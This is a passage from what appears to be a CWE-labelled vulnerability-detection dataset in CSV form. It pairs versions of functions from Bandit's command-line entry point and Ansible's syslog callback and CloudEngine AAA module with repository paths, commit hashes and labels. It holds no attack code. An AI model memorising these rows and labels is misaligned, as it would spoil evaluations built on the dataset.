        if isinstance(request_json, dict) and json_dict_might_be_chat_request(request_json):
            try:
                return APIRequest._convert_chat_request_or_throw(request_json), True
            except pydantic.ValidationError:
                return request_json, False
        elif isinstance(request_json, list) and all(
            json_dict_might_be_chat_request(json) for json in request_json
        ):
            try:
                return (
                    [
                        APIRequest._convert_chat_request_or_throw(json_dict)
                        for json_dict in request_json
                    ],
                    True,
                )
            except pydantic.ValidationError:
                return request_json, False
        else:
            return request_json, False"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/bandit.py,0,"def main():
    parser = argparse.ArgumentParser(
        description='Bandit - a Python source code analyzer.'
    )
    parser.add_argument(
        'targets', metavar='targets', type=str, nargs='+',
        help='source file(s) or directory(s) to be tested'
    )
    parser.add_argument(
        '-r', '--recursive', dest='recursive',
        action='store_true', help='process files in subdirectories'
    )
    parser.add_argument(
        '-a', '--aggregate', dest='agg_type',
        action='store', default='file', type=str,
        choices=['file', 'vuln'],
        help='group results by vulnerability type or file it occurs in'
    )
    parser.add_argument(
        '-n', '--number', dest='context_lines',
        action='store', default=-1, type=int,
        help='max number of code lines to display for each issue identified'
    )
    parser.add_argument(
        '-c', '--configfile', dest='config_file',
        action='store', default=None, type=str,
        help=('test config file, defaults to /etc/bandit/bandit.yaml, or'
              './bandit.yaml if not given')
    )
    parser.add_argument(
        '-p', '--profile', dest='profile',
        action='store', default=None, type=str,
        help='test set profile in config to use (defaults to all tests)'
    )
    parser.add_argument(
        '-l', '--level', dest='level', action='count',
        default=1, help='results level filter'
    )
    parser.add_argument(
        '-f', '--format', dest='output_format', action='store',
        default='txt', help='specify output format',
        choices=['txt', 'json', 'csv']
    )
    parser.add_argument(
        '-o', '--output', dest='output_file', action='store',
        default=None, help='write report to filename'
    )
    parser.add_argument(
        '-d', '--debug', dest='debug', action='store_true',
        help='turn on debug mode'
    )
    parser.set_defaults(debug=False)

    # setup work - parse arguments, and initialize BanditManager
    args = parser.parse_args()
    config_file = args.config_file
    if not config_file:
        if 'VIRTUAL_ENV' in os.environ:
            etc_config = '%s/etc/bandit/%s' % (os.environ['VIRTUAL_ENV'],
                                               default_test_config)
        else:
            etc_config = '/etc/bandit/%s' % (default_test_config)
        home_config = ""%s/.config/bandit/%s"" % (os.environ['HOME'],
                                                default_test_config)
        if os.access(default_test_config, os.R_OK):
            config_file = default_test_config
        elif os.access(home_config, os.R_OK):
            config_file = home_config
        elif os.access(etc_config, os.R_OK):
            config_file = etc_config

    if not config_file:
        # no logger yet, so using print
        print (""no config file found, tried ... \n\t%s \n\t%s \n\t%s"") % (
            etc_config, home_config, default_test_config)
        sys.exit(2)

    b_mgr = b_manager.BanditManager(config_file, args.agg_type,
                                    args.debug, profile_name=args.profile)
    # we getLogger() here because BanditManager has configured it at this point
    logger = logging.getLogger()
    if args.output_format != ""json"":
        logger.info(""using config: %s"" % config_file)

    # check ability to write output file, if requested
    if args.output_file is not None:
        check_dest = b_mgr.check_output_destination(args.output_file)
        if check_dest is not True:
            logger.error(
                'Problem with specified output destination\n\t%s: %s',
                check_dest, args.output_file
            )
            sys.exit(2)

    # initiate file discovery step within Bandit Manager
    b_mgr.discover_files(args.targets, args.recursive)

    # initiate execution of tests within Bandit Manager
    b_mgr.run_tests()
    if args.debug:
        b_mgr.output_metaast()

    # trigger output of results by Bandit Manager
    b_mgr.output_results(args.context_lines, args.level - 1, args.output_file,
                         args.output_format)

    # return an exit code of 1 if there are results, 0 otherwise
    if b_mgr.results_count > 0:
        sys.exit(1)
    else:
        sys.exit(0)",UNKNOWN,PyCQA/bandit,6e2e387e4fb5a91867e8c7ea46ed8c7357df253a,"def main():
    parser = argparse.ArgumentParser(
        description='Bandit - a Python source code analyzer.'
    )
    parser.add_argument(
        'targets', metavar='targets', type=str, nargs='+',
        help='source file(s) or directory(s) to be tested'
    )
    parser.add_argument(
        '-r', '--recursive', dest='recursive',
        action='store_true', help='process files in subdirectories'
    )
    parser.add_argument(
        '-a', '--aggregate', dest='agg_type',
        action='store', default='file', type=str,
        help='group results by (vuln)erability type or (file) it occurs in'
    )
    parser.add_argument(
        '-n', '--number', dest='context_lines',
        action='store', default=-1, type=int,
        help='max number of code lines to display'
    )
    parser.add_argument(
        '-c', '--configfile', dest='config_file',
        action='store', default=None, type=str,
        help=('test config file, defaults to /etc/bandit/bandit.yaml, or'
              './bandit.yaml if not given')
    )
    parser.add_argument(
        '-p', '--profile', dest='profile',
        action='store', default=None, type=str,
        help='test set profile in config to use (defaults to all tests)'
    )
    parser.add_argument(
        '-l', '--level', dest='level', action='count',
        default=1, help='results level filter'
    )
    parser.add_argument(
        '-f', '--format', dest='output_format', action='store',
        default='txt', help='specify output format',
        choices=['txt', 'json', 'csv']
    )
    parser.add_argument(
        '-o', '--output', dest='output_file', action='store',
        default=None, help='write report to filename'
    )
    parser.add_argument(
        '-d', '--debug', dest='debug', action='store_true',
        help='turn on debug mode'
    )
    parser.set_defaults(debug=False)

    # setup work - parse arguments, and initialize BanditManager
    args = parser.parse_args()
    config_file = args.config_file
    if not config_file:
        if 'VIRTUAL_ENV' in os.environ:
            etc_config = '%s/etc/bandit/%s' % (os.environ['VIRTUAL_ENV'],
                                               default_test_config)
        else:
            etc_config = '/etc/bandit/%s' % (default_test_config)
        home_config = ""%s/.config/bandit/%s"" % (os.environ['HOME'],
                                                default_test_config)
        if os.access(default_test_config, os.R_OK):
            config_file = default_test_config
        elif os.access(home_config, os.R_OK):
            config_file = home_config
        elif os.access(etc_config, os.R_OK):
            config_file = etc_config

    if not config_file:
        # no logger yet, so using print
        print (""no config file found, tried ... \n\t%s \n\t%s \n\t%s"") % (
            etc_config, home_config, default_test_config)
        sys.exit(2)

    b_mgr = b_manager.BanditManager(config_file, args.agg_type,
                                    args.debug, profile_name=args.profile)
    # we getLogger() here because BanditManager has configured it at this point
    logger = logging.getLogger()
    if args.output_format != ""json"":
        logger.info(""using config: %s"" % config_file)

    # check ability to write output file, if requested
    if args.output_file is not None:
        check_dest = b_mgr.check_output_destination(args.output_file)
        if check_dest is not True:
            logger.error(
                'Problem with specified output destination\n\t%s: %s',
                check_dest, args.output_file
            )
            sys.exit(2)

    # initiate file discovery step within Bandit Manager
    b_mgr.discover_files(args.targets, args.recursive)

    # initiate execution of tests within Bandit Manager
    b_mgr.run_tests()
    if args.debug:
        b_mgr.output_metaast()

    # trigger output of results by Bandit Manager
    b_mgr.output_results(args.context_lines, args.level - 1, args.output_file,
                         args.output_format)

    # return an exit code of 1 if there are results, 0 otherwise
    if b_mgr.results_count > 0:
        sys.exit(1)
    else:
        sys.exit(0)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/callback/syslog_json.py,0,"def __init__(self):

        super(CallbackModule, self).__init__()",,ansible/ansible,eb2fae7951a9afe8fdb704b7ae24d31020b1bb7f,"def __init__(self):

        super(CallbackModule, self).__init__()

        self.set_options()

        syslog_host = self.get_option(""server"")
        syslog_port = int(self.get_option(""port""))
        syslog_facility = self.get_option(""facility"")

        self.logger = logging.getLogger('ansible logger')
        self.logger.setLevel(logging.DEBUG)

        self.handler = logging.handlers.SysLogHandler(
            address=(syslog_host, syslog_port),
            facility=syslog_facility
        )
        self.logger.addHandler(self.handler)
        self.hostname = socket.gethostname()"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/cloudengine/ce_aaa_server.py,0,"def main():
    """""" Module main """"""

    argument_spec = dict(
        state=dict(choices=['present', 'absent'], default='present'),
        authen_scheme_name=dict(type='str'),
        first_authen_mode=dict(default='local', choices=['invalid', 'local', 'hwtacacs', 'radius', 'none']),
        author_scheme_name=dict(type='str'),
        first_author_mode=dict(default='local', choices=['invalid', 'local', 'hwtacacs', 'if-authenticated', 'none']),
        acct_scheme_name=dict(type='str'),
        accounting_mode=dict(default='none', choices=['invalid', 'hwtacacs', 'radius', 'none']),
        domain_name=dict(type='str'),
        radius_server_group=dict(type='str'),
        hwtacas_template=dict(type='str'),
        local_user_group=dict(type='str')
    )

    argument_spec.update(ce_argument_spec)

    module = AnsibleModule(argument_spec=argument_spec,
                           supports_check_mode=True)

    check_module_argument(module=module)

    changed = False
    proposed = dict()
    existing = dict()
    end_state = dict()
    updates = []

    state = module.params['state']
    authen_scheme_name = module.params['authen_scheme_name']
    first_authen_mode = module.params['first_authen_mode']
    author_scheme_name = module.params['author_scheme_name']
    first_author_mode = module.params['first_author_mode']
    acct_scheme_name = module.params['acct_scheme_name']
    accounting_mode = module.params['accounting_mode']
    domain_name = module.params['domain_name']
    radius_server_group = module.params['radius_server_group']
    hwtacas_template = module.params['hwtacas_template']
    local_user_group = module.params['local_user_group']

    ce_aaa_server = AaaServer()

    if not ce_aaa_server:
        module.fail_json(msg='Error: init module failed.')

    # get proposed
    proposed[""state""] = state
    if authen_scheme_name:
        proposed[""authen_scheme_name""] = authen_scheme_name
    if first_authen_mode:
        proposed[""first_authen_mode""] = first_authen_mode
    if author_scheme_name:
        proposed[""author_scheme_name""] = author_scheme_name
    if first_author_mode:
        proposed[""first_author_mode""] = first_author_mode
    if acct_scheme_name:
        proposed[""acct_scheme_name""] = acct_scheme_name
    if accounting_mode:
        proposed[""accounting_mode""] = accounting_mode
    if domain_name:
        proposed[""domain_name""] = domain_name
    if radius_server_group:
        proposed[""radius_server_group""] = radius_server_group
    if hwtacas_template:
        proposed[""hwtacas_template""] = hwtacas_template
    if local_user_group:
        proposed[""local_user_group""] = local_user_group

    # authentication
    if authen_scheme_name:

        scheme_exist = ce_aaa_server.get_authentication_scheme(module=module)
        scheme_new = (authen_scheme_name.lower(), first_authen_mode.lower(), ""invalid"")

        existing[""authentication scheme""] = scheme_exist

        if state == ""present"":
            # present authentication scheme
            if len(scheme_exist) == 0:
                cmd = ce_aaa_server.create_authentication_scheme(
                    module=module,
                    authen_scheme_name=authen_scheme_name,
                    first_authen_mode=first_authen_mode)

                updates.append(cmd)
                changed = True

            elif scheme_new not in scheme_exist:
                cmd = ce_aaa_server.merge_authentication_scheme(
                    module=module,
                    authen_scheme_name=authen_scheme_name,
                    first_authen_mode=first_authen_mode)
                updates.append(cmd)
                changed = True

            # present authentication domain
            if domain_name:
                domain_exist = ce_aaa_server.get_authentication_domain(
                    module=module)
                domain_new = (domain_name.lower(), authen_scheme_name.lower())

                if len(domain_exist) == 0:
                    cmd = ce_aaa_server.create_authentication_domain(
                        module=module,
                        domain_name=domain_name,
                        authen_scheme_name=authen_scheme_name)
                    updates.append(cmd)
                    changed = True

                elif domain_new not in domain_exist:
                    cmd = ce_aaa_server.merge_authentication_domain(
                        module=module,
                        domain_name=domain_name,
                        authen_scheme_name=authen_scheme_name)
                    updates.append(cmd)
                    changed = True

        else:
            # absent authentication scheme
            if not domain_name:
                if len(scheme_exist) == 0:
                    pass
                elif scheme_new not in scheme_exist:
                    pass
                else:
                    cmd = ce_aaa_server.delete_authentication_scheme(
                        module=module,
                        authen_scheme_name=authen_scheme_name,
                        first_authen_mode=first_authen_mode)
                    updates.append(cmd)
                    changed = True

            # absent authentication domain
            else:
                domain_exist = ce_aaa_server.get_authentication_domain(
                    module=module)
                domain_new = (domain_name.lower(), authen_scheme_name.lower())

                if len(domain_exist) == 0:
                    pass
                elif domain_new not in domain_exist:
                    pass
                else:
                    cmd = ce_aaa_server.delete_authentication_domain(
                        module=module,
                        domain_name=domain_name,
                        authen_scheme_name=authen_scheme_name)
                    updates.append(cmd)
                    changed = True

        scheme_end = ce_aaa_server.get_authentication_scheme(module=module)
        end_state[""authentication scheme""] = scheme_end

    # authorization
    if author_scheme_name:

        scheme_exist = ce_aaa_server.get_authorization_scheme(module=module)
        scheme_new = (author_scheme_name.lower(), first_author_mode.lower(), ""invalid"")

        existing[""authorization scheme""] = scheme_exist

        if state == ""present"":
            # present authorization scheme
            if len(scheme_exist) == 0:
                cmd = ce_aaa_server.create_authorization_scheme(
                    module=module,
                    author_scheme_name=author_scheme_name,
                    first_author_mode=first_author_mode)
                updates.append(cmd)
                changed = True
            elif scheme_new not in scheme_exist:
                cmd = ce_aaa_server.merge_authorization_scheme(
                    module=module,
                    author_scheme_name=author_scheme_name,
                    first_author_mode=first_author_mode)
                updates.append(cmd)
                changed = True

            # present authorization domain
            if domain_name:
                domain_exist = ce_aaa_server.get_authorization_domain(
                    module=module)
                domain_new = (domain_name.lower(), author_scheme_name.lower())

                if len(domain_exist) == 0:
                    cmd = ce_aaa_server.create_authorization_domain(
                        module=module,
                        domain_name=domain_name,
                        author_scheme_name=author_scheme_name)
                    updates.append(cmd)
                    changed = True
                elif domain_new not in domain_exist:
                    cmd = ce_aaa_server.merge_authorization_domain(
                        module=module,
                        domain_name=domain_name,
                        author_scheme_name=author_scheme_name)
                    updates.append(cmd)
                    changed = True

        else:
            # absent authorization scheme
            if not domain_name:
                if len(scheme_exist) == 0:
                    pass
                elif scheme_new not in scheme_exist:
                    pass
                else:
                    cmd = ce_aaa_server.delete_authorization_scheme(
                        module=module,
                        author_scheme_name=author_scheme_name,
                        first_author_mode=first_author_mode)
                    updates.append(cmd)
                    changed = True

            # absent authorization domain
            else:
                domain_exist = ce_aaa_server.get_authorization_domain(
                    module=module)
                domain_new = (domain_name.lower(), author_scheme_name.lower())

                if len(domain_exist) == 0:
                    pass
                elif domain_new not in domain_exist:
                    pass
                else:
                    cmd = ce_aaa_server.delete_authorization_domain(
                        module=module,
                        domain_name=domain_name,
                        author_scheme_name=author_scheme_name)
                    updates.append(cmd)
                    changed = True

        scheme_end = ce_aaa_server.get_authorization_scheme(module=module)
        end_state[""authorization scheme""] = scheme_end

    # accounting
    if acct_scheme_name:

        scheme_exist = ce_aaa_server.get_accounting_scheme(module=module)
        scheme_new = (acct_scheme_name.lower(), accounting_mode.lower())

        existing[""accounting scheme""] = scheme_exist

        if state == ""present"":
            # present accounting scheme
            if len(scheme_exist) == 0:
                cmd = ce_aaa_server.create_accounting_scheme(
                    module=module,
                    acct_scheme_name=acct_scheme_name,
                    accounting_mode=accounting_mode)
                updates.append(cmd)
                changed = True
            elif scheme_new not in scheme_exist:
                cmd = ce_aaa_server.merge_accounting_scheme(
                    module=module,
                    acct_scheme_name=acct_scheme_name,
                    accounting_mode=accounting_mode)
                updates.append(cmd)
                changed = True

            # present accounting domain
            if domain_name:
                domain_exist = ce_aaa_server.get_accounting_domain(
                    module=module)
                domain_new = (domain_name.lower(), acct_scheme_name.lower())

                if len(domain_exist) == 0:
                    cmd = ce_aaa_server.create_accounting_domain(
                        module=module,
                        domain_name=domain_name,
                        acct_scheme_name=acct_scheme_name)
                    updates.append(cmd)
                    changed = True
                elif domain_new not in domain_exist:
                    cmd = ce_aaa_server.merge_accounting_domain(
                        module=module,
                        domain_name=domain_name,
                        acct_scheme_name=acct_scheme_name)
                    updates.append(cmd)
                    changed = True

        else:
            # absent accounting scheme
            if not domain_name:
                if len(scheme_exist) == 0:
                    pass
                elif scheme_new not in scheme_exist:
                    pass
                else:
                    cmd = ce_aaa_server.delete_accounting_scheme(
                        module=module,
                        acct_scheme_name=acct_scheme_name,
                        accounting_mode=accounting_mode)
                    updates.append(cmd)
                    changed = True

            # absent accounting domain
            else:
                domain_exist = ce_aaa_server.get_accounting_domain(
                    module=module)
                domain_new = (domain_name.lower(), acct_scheme_name.lower())
                if len(domain_exist) == 0:
                    pass
                elif domain_new not in domain_exist:
                    pass
                else:
                    cmd = ce_aaa_server.delete_accounting_domain(
                        module=module,
                        domain_name=domain_name,
                        acct_scheme_name=acct_scheme_name)
                    updates.append(cmd)
                    changed = True

        scheme_end = ce_aaa_server.get_accounting_scheme(module=module)
        end_state[""accounting scheme""] = scheme_end

    # radius group name
    if (authen_scheme_name and first_authen_mode.lower() == ""radius"") \
            or (acct_scheme_name and accounting_mode.lower() == ""radius""):

        if not radius_server_group:
            module.fail_json(msg='please input radius_server_group when use radius.')

        rds_template_exist = ce_aaa_server.get_radius_template(module=module)
        rds_template_new = (radius_server_group)

        rds_enable_exist = ce_aaa_server.get_radius_client(module=module)

        existing[""radius template""] = rds_template_exist
        existing[""radius enable""] = rds_enable_exist

        if state == ""present"":
            # present radius group name
            if len(rds_template_exist) == 0:
                cmd = ce_aaa_server.create_radius_template(
                    module=module, radius_server_group=radius_server_group)
                updates.append(cmd)
                changed = True
            elif rds_template_new not in rds_template_exist:
                cmd = ce_aaa_server.merge_radius_template(
                    module=module, radius_server_group=radius_server_group)
                updates.append(cmd)
                changed = True

            rds_enable_new = (""true"")
            if rds_enable_new not in rds_enable_exist:
                cmd = ce_aaa_server.merge_radius_client(
                    module=module, isEnable=""true"")
                updates.append(cmd)
                changed = True

        else:
            # absent radius group name
            if len(rds_template_exist) == 0:
                pass
            elif rds_template_new not in rds_template_exist:
                pass
            else:
                cmd = ce_aaa_server.delete_radius_template(
                    module=module, radius_server_group=radius_server_group)
                updates.append(cmd)
                changed = True

            rds_enable_new = (""false"")
            if rds_enable_new not in rds_enable_exist:
                cmd = ce_aaa_server.merge_radius_client(
                    module=module, isEnable=""false"")
                updates.append(cmd)
                changed = True
            else:
                pass

        rds_template_end = ce_aaa_server.get_radius_template(module=module)
        end_state[""radius template""] = rds_template_end

        rds_enable_end = ce_aaa_server.get_radius_client(module=module)
        end_state[""radius enable""] = rds_enable_end

    tmp_scheme = author_scheme_name

    # hwtacas template
    if (authen_scheme_name and first_authen_mode.lower() == ""hwtacacs"") \
            or (tmp_scheme and first_author_mode.lower() == ""hwtacacs"") \
            or (acct_scheme_name and accounting_mode.lower() == ""hwtacacs""):

        if not hwtacas_template:
            module.fail_json(
                msg='please input hwtacas_template when use hwtacas.')

        hwtacacs_exist = ce_aaa_server.get_hwtacacs_template(module=module)
        hwtacacs_new = (hwtacas_template)

        hwtacacs_enbale_exist = ce_aaa_server.get_hwtacacs_global_cfg(
            module=module)

        existing[""hwtacacs template""] = hwtacacs_exist
        existing[""hwtacacs enable""] = hwtacacs_enbale_exist

        if state == ""present"":
            # present hwtacas template
            if len(hwtacacs_exist) == 0:
                cmd = ce_aaa_server.create_hwtacacs_template(
                    module=module, hwtacas_template=hwtacas_template)
                updates.append(cmd)
                changed = True
            elif hwtacacs_new not in hwtacacs_exist:
                cmd = ce_aaa_server.merge_hwtacacs_template(
                    module=module, hwtacas_template=hwtacas_template)
                updates.append(cmd)
                changed = True

            hwtacacs_enbale_new = (""true"")
            if hwtacacs_enbale_new not in hwtacacs_enbale_exist:
                cmd = ce_aaa_server.merge_hwtacacs_global_cfg(
                    module=module, isEnable=""true"")
                updates.append(cmd)
                changed = True

        else:
            # absent hwtacas template
            if len(hwtacacs_exist) == 0:
                pass
            elif hwtacacs_new not in hwtacacs_exist:
                pass
            else:
                cmd = ce_aaa_server.delete_hwtacacs_template(
                    module=module, hwtacas_template=hwtacas_template)
                updates.append(cmd)
                changed = True

            hwtacacs_enbale_new = (""false"")
            if hwtacacs_enbale_new not in hwtacacs_enbale_exist:
                cmd = ce_aaa_server.merge_hwtacacs_global_cfg(
                    module=module, isEnable=""false"")
                updates.append(cmd)
                changed = True
            else:
                pass

        hwtacacs_end = ce_aaa_server.get_hwtacacs_template(module=module)
        end_state[""hwtacacs template""] = hwtacacs_end

        hwtacacs_enable_end = ce_aaa_server.get_hwtacacs_global_cfg(
            module=module)
        end_state[""hwtacacs enable""] = hwtacacs_enable_end

    # local user group
    if local_user_group:

        user_group_exist = ce_aaa_server.get_local_user_group(module=module)
        user_group_new = (local_user_group)

        existing[""local user group""] = user_group_exist

        if state == ""present"":
            # present local user group
            if len(user_group_exist) == 0:
                cmd = ce_aaa_server.merge_local_user_group(
                    module=module, local_user_group=local_user_group)
                updates.append(cmd)
                changed = True
            elif user_group_new not in user_group_exist:
                cmd = ce_aaa_server.merge_local_user_group(
                    module=module, local_user_group=local_user_group)
                updates.append(cmd)
                changed = True

        else:
            # absent local user group
            if len(user_group_exist) == 0:
                pass
            elif user_group_new not in user_group_exist:
                pass
            else:
                cmd = ce_aaa_server.delete_local_user_group(
                    module=module, local_user_group=local_user_group)
                updates.append(cmd)
                changed = True

        user_group_end = ce_aaa_server.get_local_user_group(module=module)
        end_state[""local user group""] = user_group_end

    results = dict()
    results['proposed'] = proposed
    results['existing'] = existing
    results['changed'] = changed
    results['end_state'] = end_state
    results['updates'] = updates

    module.exit_json(**results)",,ansible/ansible,f4aaf4d14801ef1af36dfa7cf5290e0d42d51e83,"def main():
    """""" Module main """"""

    argument_spec = dict(
        state=dict(choices=['present', 'absent'], default='present'),
        authen_scheme_name=dict(type='str'),
        first_authen_mode=dict(default='local', choices=['invalid', 'local', 'hwtacacs', 'radius', 'none']),
        author_scheme_name=dict(type='str'),
        first_author_mode=dict(default='local', choices=['invalid', 'local', 'hwtacacs', 'if-authenticated', 'none']),
        acct_scheme_name=dict(type='str'),
        accounting_mode=dict(default='none', choices=['invalid', 'hwtacacs', 'radius', 'none']),
        domain_name=dict(type='str'),
        radius_server_group=dict(type='str'),
        hwtacas_template=dict(type='str'),
        local_user_group=dict(type='str')
    )

    argument_spec.update(ce_argument_spec)

    module = AnsibleModule(argument_spec=argument_spec,
                           supports_check_mode=True)

    check_module_argument(module=module)

    changed = False
    proposed = dict()
    existing = dict()
    end_state = dict()
    updates = []

    state = module.params['state']
    authen_scheme_name = module.params['authen_scheme_name']
    first_authen_mode = module.params['first_authen_mode']
    author_scheme_name = module.params['author_scheme_name']
    first_author_mode = module.params['first_author_mode']
    acct_scheme_name = module.params['acct_scheme_name']
    accounting_mode = module.params['accounting_mode']
    domain_name = module.params['domain_name']
    radius_server_group = module.params['radius_server_group']
    hwtacas_template = module.params['hwtacas_template']
    local_user_group = module.params['local_user_group']

    ce_aaa_server = AaaServer()

    if not ce_aaa_server:
        module.fail_json(msg='Error: init module failed.')

    # get proposed
    proposed[""state""] = state
    if authen_scheme_name:
        proposed[""authen_scheme_name""] = authen_scheme_name
    if first_authen_mode:
        proposed[""first_authen_mode""] = first_authen_mode
    if author_scheme_name:
        proposed[""author_scheme_name""] = author_scheme_name
    if first_author_mode:
        proposed[""first_author_mode""] = first_author_mode
    if acct_scheme_name:
        proposed[""acct_scheme_name""] = acct_scheme_name
    if accounting_mode:
        proposed[""accounting_mode""] = accounting_mode
    if domain_name:
        proposed[""domain_name""] = domain_name
    if radius_server_group:
        proposed[""radius_server_group""] = radius_server_group
    if hwtacas_template:
        proposed[""hwtacas_template""] = hwtacas_template
    if local_user_group:
        proposed[""local_user_group""] = local_user_group

    # authentication
    if authen_scheme_name:

        scheme_exist = ce_aaa_server.get_authentication_scheme(module=module)
        scheme_new = (authen_scheme_name.lower(), first_authen_mode.lower(), ""invalid"")

        existing[""authentication scheme""] = scheme_exist

        if state == ""present"":
            # present authentication scheme
            if len(scheme_exist) == 0:
                cmd = ce_aaa_server.create_authentication_scheme(
                    module=module,
                    authen_scheme_name=authen_scheme_name,
                    first_authen_mode=first_authen_mode)

                updates.append(cmd)
                changed = True

            elif scheme_new not in scheme_exist:
                cmd = ce_aaa_server.merge_authentication_scheme(
                    module=module,
                    authen_scheme_name=authen_scheme_name,
                    first_authen_mode=first_authen_mode)
                updates.append(cmd)
                changed = True

            # present authentication domain
            if domain_name:
                domain_exist = ce_aaa_server.get_authentication_domain(
                    module=module)
                domain_new = (domain_name.lower(), authen_scheme_name.lower())

                if len(domain_exist) == 0:
                    cmd = ce_aaa_server.create_authentication_domain(
                        module=module,
                        domain_name=domain_name,
                        authen_scheme_name=authen_scheme_name)
                    updates.append(cmd)
                    changed = True

                elif domain_new not in domain_exist:
                    cmd = ce_aaa_server.merge_authentication_domain(
                        module=module,
                        domain_name=domain_name,
                        authen_scheme_name=authen_scheme_name)
                    updates.append(cmd)
                    changed = True

        else:
            # absent authentication scheme
            if len(scheme_exist) == 0:
                pass
            elif scheme_new not in scheme_exist:
                pass
            else:
                cmd = ce_aaa_server.delete_authentication_scheme(
                    module=module,
                    authen_scheme_name=authen_scheme_name,
                    first_authen_mode=first_authen_mode)
                updates.append(cmd)
                changed = True

            # absent authentication domain
            if domain_name:
                domain_exist = ce_aaa_server.get_authentication_domain(
                    module=module)
                domain_new = (domain_name.lower(), authen_scheme_name.lower())

                if len(domain_exist) == 0:
                    pass
                elif domain_new not in domain_exist:
                    pass
                else:
                    cmd = ce_aaa_server.delete_authentication_domain(
                        module=module,
                        domain_name=domain_name,
                        authen_scheme_name=authen_scheme_name)
                    updates.append(cmd)
                    changed = True

        scheme_end = ce_aaa_server.get_authentication_scheme(module=module)
        end_state[""authentication scheme""] = scheme_end

    # authorization
    if author_scheme_name:

        scheme_exist = ce_aaa_server.get_authorization_scheme(module=module)
        scheme_new = (author_scheme_name.lower(), first_author_mode.lower(), ""invalid"")

        existing[""authorization scheme""] = scheme_exist

        if state == ""present"":
            # present authorization scheme
            if len(scheme_exist) == 0:
                cmd = ce_aaa_server.create_authorization_scheme(
                    module=module,
                    author_scheme_name=author_scheme_name,
                    first_author_mode=first_author_mode)
                updates.append(cmd)
                changed = True
            elif scheme_new not in scheme_exist:
                cmd = ce_aaa_server.merge_authorization_scheme(
                    module=module,
                    author_scheme_name=author_scheme_name,
                    first_author_mode=first_author_mode)
                updates.append(cmd)
                changed = True

            # present authorization domain
            if domain_name:
                domain_exist = ce_aaa_server.get_authorization_domain(
                    module=module)
                domain_new = (domain_name.lower(), author_scheme_name.lower())

                if len(domain_exist) == 0:
                    cmd = ce_aaa_server.create_authorization_domain(
                        module=module,
                        domain_name=domain_name,
                        author_scheme_name=author_scheme_name)
                    updates.append(cmd)
                    changed = True
                elif domain_new not in domain_exist:
                    cmd = ce_aaa_server.merge_authorization_domain(
                        module=module,
                        domain_name=domain_name,
                        author_scheme_name=author_scheme_name)
                    updates.append(cmd)
                    changed = True

        else:
            # absent authorization scheme
            if len(scheme_exist) == 0:
                pass
            elif scheme_new not in scheme_exist:
                pass
            else:
                cmd = ce_aaa_server.delete_authorization_scheme(
                    module=module,
                    author_scheme_name=author_scheme_name,
                    first_author_mode=first_author_mode)
                updates.append(cmd)
                changed = True

            # absent authorization domain
            if domain_name:
                domain_exist = ce_aaa_server.get_authorization_domain(
                    module=module)
                domain_new = (domain_name.lower(), author_scheme_name.lower())

                if len(domain_exist) == 0:
                    pass
                elif domain_new not in domain_exist:
                    pass
                else:
                    cmd = ce_aaa_server.delete_authorization_domain(
                        module=module,
                        domain_name=domain_name,
                        author_scheme_name=author_scheme_name)
                    updates.append(cmd)
                    changed = True

        scheme_end = ce_aaa_server.get_authorization_scheme(module=module)
        end_state[""authorization scheme""] = scheme_end

    # accounting
    if acct_scheme_name:

        scheme_exist = ce_aaa_server.get_accounting_scheme(module=module)
        scheme_new = (acct_scheme_name.lower(), accounting_mode.lower())

        existing[""accounting scheme""] = scheme_exist

        if state == ""present"":
            # present accounting scheme
            if len(scheme_exist) == 0:
                cmd = ce_aaa_server.create_accounting_scheme(
                    module=module,
                    acct_scheme_name=acct_scheme_name,
                    accounting_mode=accounting_mode)
                updates.append(cmd)
                changed = True
            elif scheme_new not in scheme_exist:
                cmd = ce_aaa_server.merge_accounting_scheme(
                    module=module,
                    acct_scheme_name=acct_scheme_name,
                    accounting_mode=accounting_mode)
                updates.append(cmd)
                changed = True

            # present accounting domain
            if domain_name:
                domain_exist = ce_aaa_server.get_accounting_domain(
                    module=module)
                domain_new = (domain_name.lower(), acct_scheme_name.lower())

                if len(domain_exist) == 0:
                    cmd = ce_aaa_server.create_accounting_domain(
                        module=module,
                        domain_name=domain_name,
                        acct_scheme_name=acct_scheme_name)
                    updates.append(cmd)
                    changed = True
                elif domain_new not in domain_exist:
                    cmd = ce_aaa_server.merge_accounting_domain(
                        module=module,
                        domain_name=domain_name,
                        acct_scheme_name=acct_scheme_name)
                    updates.append(cmd)
                    changed = True

        else:
            # absent accounting scheme
            if len(scheme_exist) == 0:
                pass
            elif scheme_new not in scheme_exist:
                pass
            else:
                cmd = ce_aaa_server.delete_accounting_scheme(
                    module=module,
                    acct_scheme_name=acct_scheme_name,
                    accounting_mode=accounting_mode)
                updates.append(cmd)
                changed = True

            # absent accounting domain
            if domain_name:
                domain_exist = ce_aaa_server.get_accounting_domain(
                    module=module)
                domain_new = (domain_name.lower(), acct_scheme_name.lower())
                if len(domain_exist) == 0:
                    pass
                elif domain_new not in domain_exist:
                    pass
                else:
                    cmd = ce_aaa_server.delete_accounting_domain(
                        module=module,
                        domain_name=domain_name,
                        acct_scheme_name=acct_scheme_name)
                    updates.append(cmd)
                    changed = True

        scheme_end = ce_aaa_server.get_accounting_scheme(module=module)
        end_state[""accounting scheme""] = scheme_end

    # radius group name
    if (authen_scheme_name and first_authen_mode.lower() == ""radius"") \
            or (acct_scheme_name and accounting_mode.lower() == ""radius""):

        if not radius_server_group:
            module.fail_json(msg='please input radius_server_group when use radius.')

        rds_template_exist = ce_aaa_server.get_radius_template(module=module)
        rds_template_new = (radius_server_group)

        rds_enable_exist = ce_aaa_server.get_radius_client(module=module)

        existing[""radius template""] = rds_template_exist
        existing[""radius enable""] = rds_enable_exist

        if state == ""present"":
            # present radius group name
            if len(rds_template_exist) == 0:
                cmd = ce_aaa_server.create_radius_template(
                    module=module, radius_server_group=radius_server_group)
                updates.append(cmd)
                changed = True
            elif rds_template_new not in rds_template_exist:
                cmd = ce_aaa_server.merge_radius_template(
                    module=module, radius_server_group=radius_server_group)
                updates.append(cmd)
                changed = True

            rds_enable_new = (""true"")
            if rds_enable_new not in rds_enable_exist:
                cmd = ce_aaa_server.merge_radius_client(
                    module=module, isEnable=""true"")
                updates.append(cmd)
                changed = True

        else:
            # absent radius group name
            if len(rds_template_exist) == 0:
                pass
            elif rds_template_new not in rds_template_exist:
                pass
            else:
                cmd = ce_aaa_server.delete_radius_template(
